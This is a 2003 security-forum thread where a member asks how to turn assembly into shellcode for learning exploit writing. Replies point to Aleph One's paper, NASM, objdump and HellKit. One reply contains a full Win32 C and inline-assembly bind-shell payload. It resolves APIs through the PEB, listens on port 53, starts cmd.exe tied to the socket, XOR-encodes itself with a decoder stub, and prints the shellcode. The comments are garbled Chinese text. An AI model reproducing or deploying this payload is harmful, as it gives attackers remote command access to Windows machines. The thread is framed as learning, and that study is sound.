|
-
November 13th, 2003, 12:36 PM
#1
Member
Shellcode
Hi,
I am wondering how I can (and how everyone else can) convert my ASM code into byte code, for I wish to try and understand the art of exploit writing a little better.
Thanks.
-
November 13th, 2003, 01:11 PM
#2
Yikes!!! I think I know how bomb-squad people feel, that is a question with _NEG_ME_ written all over it, and
I'm not sure if I should put on flame-retardant gear before answering. But, here we go...
- Read Aleph One's Smashing The Stack For Fun And Profit
- Visit Mixter's Site and read his papers on the subject
- Check out http://www.shellcode.com.ar and read the stuff there.
I hope that helps and that your interest is purely white-hat.
-- spurious
Get OpenSolaris http://www.opensolaris.org/
-
November 13th, 2003, 01:31 PM
#3
Member
Hi,
Thanks for your response! I have read that paper - very good, but I am concentrating my efforts on the Win32 platform.
I can write the ASM but am having problems getting into byte code format.
Thanks for the links, I will have a butchers!
Regards,
Sarid
-
November 13th, 2003, 02:16 PM
#4
I think you're a bit confused. Bytecode is something a java compiler produces. It's basicly a set of instructions for a pseudo cpu (the java virtual machine). I think you are looking for something that converts your mnemonics into real assembly. So you probably need an assembler. Take alook at NASM
Oliver's Law:
Experience is something you don't get until just after you need it.
-
November 13th, 2003, 04:02 PM
#5
Member
moving on further when you see char shellcode [80] = "whatever" on an exploit its not the asm code. is it coded into hex or am i mistaken?
-
November 13th, 2003, 04:59 PM
#6
Assembly code is all hex. Assembly is nothing more than opcodes and operands. In order to make life easier on the ASM programmer opcodes usually have a 3 letter representation like POP,SUB,JMP etc but these are actually also just hex numbers replaced by the compiler at build time. What you want is to hex encode your assembly. There are many programs available to produce shellcode some are even considerate enough to build shellcode without any nulls or whitespace but the GNU program 'objdump' will work if you just want to hex encode some assembly. So when you see the shellcode[128]="insert your generic execv here" for all intents yes it is the assembly (hex encoded). Its nothing but a series of opcodes and operands that the computer will execute(hopefully) if you can force the program flow to your code.
-Maestr0
\"If computers are to become smart enough to design their own successors, initiating a process that will lead to God-like omniscience after a number of ever swifter passages from one generation of computers to the next, someone is going to have to write the software that gets the process going, and humans have given absolutely no evidence of being able to write such software.\" -Jaron Lanier
-
November 13th, 2003, 06:27 PM
#7
hopefully this will help...its called "HellKit"
from securityfocus : "With hellkit you write your shellcodes in C, as shown in the 4 examples shipped with that package. You then run 'driver' over it and it's done! You get the output-file hellcode.c which contains the shellcode without null-bytes. Hellkit generates shellcodes with a lenght of up to 65535 (2^16 - 1) bytes."
http://www.securityfocus.com/tools/1500/scoreit
nJoy
also try objdump
guru@linux:~> who I grep -i blonde I talk; cd ~; wine; talk; touch; unzip; touch; strip; gasp; finger; mount; fsck; more; yes; gasp; umount; make clean; sleep;
-
November 13th, 2003, 08:21 PM
#8
Member
YEs you're right, opcodes not byte codes (hadn't had my morning coffee at the time of writing). You have all been a huge help!
-
November 18th, 2003, 09:56 AM
#9
Junior Member
I think you can print out your shellcode by writing a function.Such as the following example:
just like the function "printsc".
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32")
void printsc(unsigned char *sc, int len);
unsigned char sc[0x1000];
unsigned char buff[]=
"GetProcAddress\x0"
// ----- 3 -----
"CreateProcessA\x0" // [edi-0x20]
"ExitThread\x0" // [edi-0x1c]
// "ExitProcess\x0" // [edi-0x1c]
"LoadLibraryA\x0" // [edi-0x18]
// -------------
"ws2_32\x0"
// ----- 5 -----
"WSASocketA\x0" // [edi-0x14]
"bind\x0" // [edi-0x10]
"listen\x0" // [edi-0x0c]
"accept\x0" // [edi-0x08]
"closesocket\x0"; // [edi-0x04]
DWORD addr;
void shellcode();
void main()
{
unsigned char temp;
unsigned char *shellcodefnadd, *start;
int k;
char *fnendstr = "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
#define FNENDLONG 0x08
WSADATA wsa;
int all, i;
//int port = 53;
WSAStartup(MAKEWORD(2,2),&wsa);
memset(sc, 0, sizeof(sc));
// ¶¨Î»shellcodefnlockµÄ»ã±*´úÂë
shellcodefnadd = (unsigned char *)shellcode;
temp = *shellcodefnadd;
if(temp == 0xe9)
{
++shellcodefnadd;
k=*(int *)shellcodefnadd;
shellcodefnadd+=k;
shellcodefnadd+=4;
}
// ¶¨Î»shellcodeµÄÆðʼµØÖ·
for(k=0; k <= 0x500; ++k)
{
if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
}
// shellcodefnadd+k+8 Êǵõ½µÄshellcodefnlock»ã±*´úÂëµØÖ·
start = shellcodefnadd+k+8;
// ¶¨Î» shellcode ³¤¶È
for(k=0; k <= 0x500; ++k)
{
if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
}
//printf("%x\n", htons(port));
all = k + sizeof(buff) - 1;
printf("%d + %d = %d\n", k, sizeof(buff), all);
memcpy(sc, start, k);
memcpy(&sc[k],buff, sizeof(buff));
addr = (DWORD)≻
for(k=0; k <= all-3; ++k)
{
if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %d\r\n", k);
if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n\n", k);
}
k = all - 23;
memcpy(sc+8, &k, 2);
// ================== print ======================
// decode ³¤¶ÈΪ23×Ö½Ú
printsc (sc, 23);
// xor
for(i=23; i < all; i++)
{
sc[i] ^= 0x99;
}
printsc(sc+23, k);
__asm
{
jmp addr
}
// shellcode();
Sleep(10000);
return;
}
void printsc(unsigned char *sc, int len)
{
int l;
// ´òÓ¡ ÆÕͨshellcode
for(l = 0; l < len; l++)
{
if(l == 0) printf("\"");
if((l%16 == 0) && (l != 0))printf("\"\n\"");
printf("\\x%.2X", sc[l]);
if(l == len-1) printf("\"");
}
printf("\n\n");
/*
// ´òÓ¡ iis unicode shellcode
for(l = 0; l < len; l += 2)
{
if(l == 0) printf("\"");
if((l%16 == 0) && (l != 0))printf("\"\n\"");
printf("%%u%.2X%.2X", sc[l+1], sc[l]);
if(l == len-2) printf("\"");
}
*/
}
void shellcode()
{
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
__asm
{
/* --------------------½âÂ뿪ʼ---------------------- */
jmp decode_end
decode_start:
pop edx // µÃµ½½âÂ뿪ʼλÖà esp -> edx
dec edx
xor ecx,ecx
mov cx,0x17D // shellcode ³¤¶È 0x175+1 = 0x176 = 373 bytes
decode_loop:
xor byte ptr [edx+ecx], 0x99
loop decode_loop
jmp decode_ok
decode_end:
call decode_start
decode_ok:
/* --------------------½âÂë½áÊø---------------------- */
jmp end
start:
pop edx // Ö¸Áî±*ÆðʼµØÖ·´æ·ÅÔÚ esp -> edx
// ===== ´Ó PEB ÖÐÈ¡µÃKERNEL32.DLLµÄÆðʼµØÖ· =====
//
// ÊäÈë:
// edx => Ö¸Áî±*ÆðʼµØÖ· (²»ÐèÒª)
//
// Êä³ö:
// eax => kernel32.dllÆðʼµØÖ·
// edx => Ö¸Áî±*ÆðʼµØÖ·
mov eax, fs:0x30 // PEB
mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
mov esi, [eax + 0x1c] // InInitOrder.flink
lodsd
mov eax,[eax+8]
// ========== ¶¨Î»GetProcAddressµÄµØÖ· ==========
//
// ÊäÈë:
// eax => kernel32.dllÆðʼµØÖ·
// edx => Ö¸Áî±*ÆðʼµØÖ·
//
// Êä³ö:
// ebx => kernel32.dllÆðʼµØÖ·
// eax => GetProcAddressµØÖ·
// edx => Ö¸Áî±*ÆðʼµØÖ·
mov ebx,eax // È¡kernel32.dllµÄÆðʼµØÖ·
mov esi,dword ptr [ebx+0x3C]
mov esi,dword ptr [esi+ebx+0x78]
add esi,ebx
mov edi,dword ptr [esi+0x20]
add edi,ebx
mov ecx,dword ptr [esi+0x14]
xor ebp,ebp
push esi
search_GetProcAddress:
push edi
push ecx
mov edi,dword ptr [edi]
add edi,ebx // °ÑÊä³öº¯ÊýÃû±*ÆðʼµØÖ·´æÈËedi
mov esi,edx // Ö¸Áî±*ÆðʼµØÖ·´æÈëesi
//mov ecx,0Eh // º¯ÊýgetprocAddress³¤¶ÈΪ0Eh
push 0xE
pop ecx
repe cmps byte ptr [esi],byte ptr [edi]
je search_GetProcAddress_ok
pop ecx
pop edi
add edi,4
inc ebp
loop search_GetProcAddress
search_GetProcAddress_ok:
pop ecx
pop edi
pop esi
mov ecx,ebp
mov eax,dword ptr [esi+24h]
add eax,ebx
shl ecx,1
add eax,ecx
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch]
add eax,ebx
shl ecx,2
add eax,ecx
mov eax,dword ptr [eax]
add eax,ebx
// ============ µ÷Óú¯Êý½â¾öapiµØÖ· ============
//
// ÊäÈë:
// ebx =>kernel32.dllÆðʼµØÖ·
// eax =>GetProcAddressµØÖ·
// edx =>Ö¸Áî±*ÆðʼµØÖ·
//
// Êä³ö:
// edi =>º¯ÊýµØÖ·base addr
// esi =>Ö¸Áî±*µ±Ç°Î»ÖÃ
// edx =>GetProcAddress µØÖ·
mov edi,edx
mov esi,edi
add esi,0xE // 0xE Ìø¹ý1¸ö×Ö·û´®"GetProcAddress"
// ============ ½â¾ökernel32.dllÖеĺ¯ÊýµØÖ· ============
mov edx,eax // °ÑGetProcAddress µØÖ·´æ·ÅÔÚedx
push 3 // ÐèÒª½â¾öµÄº¯ÊýµØÖ·µÄ¸öÊý Ó²±*Âë¿ÉÒÔ½ÚÊ¡Á½¸ö×Ö½Ú
pop ecx
call locator_api_addr
// ============ ¼ÓÔØws2_32.dll ============
//locator_ws2_32:
add esi,0xd // 0xd¼´"ws2_32"Ç°ÃæÄǸö×Ö·û´®µÄ³¤¶È£¬Ó²±*Âë¿ÉÒÔ½ÚÊ¡Á½¸ö×Ö½Ú
push edx // edxÊÇGetProcAddress µØÖ·
push esi // ×Ö·û"ws2_32"µØÖ·
call dword ptr [edi-4] // LoadLibraryA
// ============ ½â¾öws2_32Öеĺ¯ÊýµØÖ· ============
pop edx
mov ebx,eax // ½«ws2_32.dllÆðʼµØÖ·´æ·ÅÔÚebx
//mov ecx,4
push 5 // º¯Êý¸öÊý
pop ecx // º¯Êý¸öÊý <-ÕâÖÖ·½Ê½Ê¡Á½¸ö×Ö½Ú
call locator_api_addr
// ============ create socket ============
push eax
push eax
push eax
push eax // IPPROTO_IP 0
push 1 // SOCK_STREAM
push 2 // AF_INET
call dword ptr [edi-0x14] // WSASocketA
mov ebx,eax // socket±£´æÔÚebx
// ============ Ìî³äsockaddr_in½á¹¹ ============
mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
xor eax, eax
mov dword ptr [edi+4], eax // ADDR_ANY
// ============ bind ============
push 0x10 // sizeof(sockaddr_in)
push edi // sockaddr_in address
push ebx // socket
call dword ptr [edi-0x10] // bind(socket, &address, sizof(address));
// ============ listen ============
push 0x1 // 1
push ebx // socket
call dword ptr [edi-0xc] // listen(socket, 1);
// ============ accept ============
push eax // 0
push eax // 0
push ebx // socket
call dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));
mov edx,eax
// ============ ============
sub esp,0x44
mov esi,esp // È¡siµÄÆðʼµØÖ·
xor eax, eax
push 0x10 // 0x11 * 4 = 0x44 bytes
pop ecx
zero_si:
mov dword ptr [esi+ecx*4],eax
loop zero_si
// ============ fill si struct,si´æ·ÅÔÚstackÖÐ ============
mov dword ptr [esi+0x38],edx // si.hStdInput soskcet
mov dword ptr [esi+0x3C],edx // hStdOutput soscket
mov dword ptr [esi+0x40],edx // hStdError socket
//mov word ptr [esi+0x30],0 // wShowWindow
mov word ptr [esi+0x2c],0x101 // dwFlags
// ============ CreateProcessA ============
lea eax, dword ptr [edi+0x10]
push eax // pi
push esi // si
xor ecx, ecx
push ecx // lpCurrentDirectory
push ecx // lpEnvironment
push ecx // dwCreationFlags
push 1 // bInheritHandles
push ecx // lpThreadAttributes
push ecx // lpProcessAttributes
mov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'
lea eax, dword ptr [edi+0x3C]
push eax // lpCommandLine
push ecx // lpApplicationName NULL
call dword ptr [edi-0x20] // CreateProcessA
// ============ If no error occurs, connect returns zero. ===========
// closesocket
push edx
call dword ptr [edi-0x4]
// closesocket
push ebx
call dword ptr [edi-0x4]
// ExitProcess
push eax
call dword ptr [edi-0x1c] // ExitProcess
// ============ ½â¾öapiµØÖ·µÄº¯Êý ============
//
// ÊäÈë²ÎÊý:
// ecx º¯Êý¸öÊý
// edx GetProcAddress µØÖ·
// ebx Êä³öº¯ÊýµÄdllÆðʼµØÖ·
// esi º¯ÊýÃû±*ÆðʼµØÖ·
// edi ±£´æº¯ÊýµØÖ·µÄÆðʼµØÖ·
locator_api_addr:
locator_space:
xor eax, eax
lodsb
test eax, eax // ѰÕÒº¯ÊýÃûÖ®¼äµÄ¿Õ¸ñx00
jne locator_space
push ecx
push edx
push esi // º¯ÊýÃû
push ebx // Êä³öº¯ÊýµÄdllÆðʼµØÖ·
call edx
pop edx
pop ecx
stos dword ptr [edi]
loop locator_space
xor eax, eax
ret
// ================== ½áÊøµ÷Óà ====================
end:
call start
}
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
}
return;
}
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
-
Forum Rules
|
|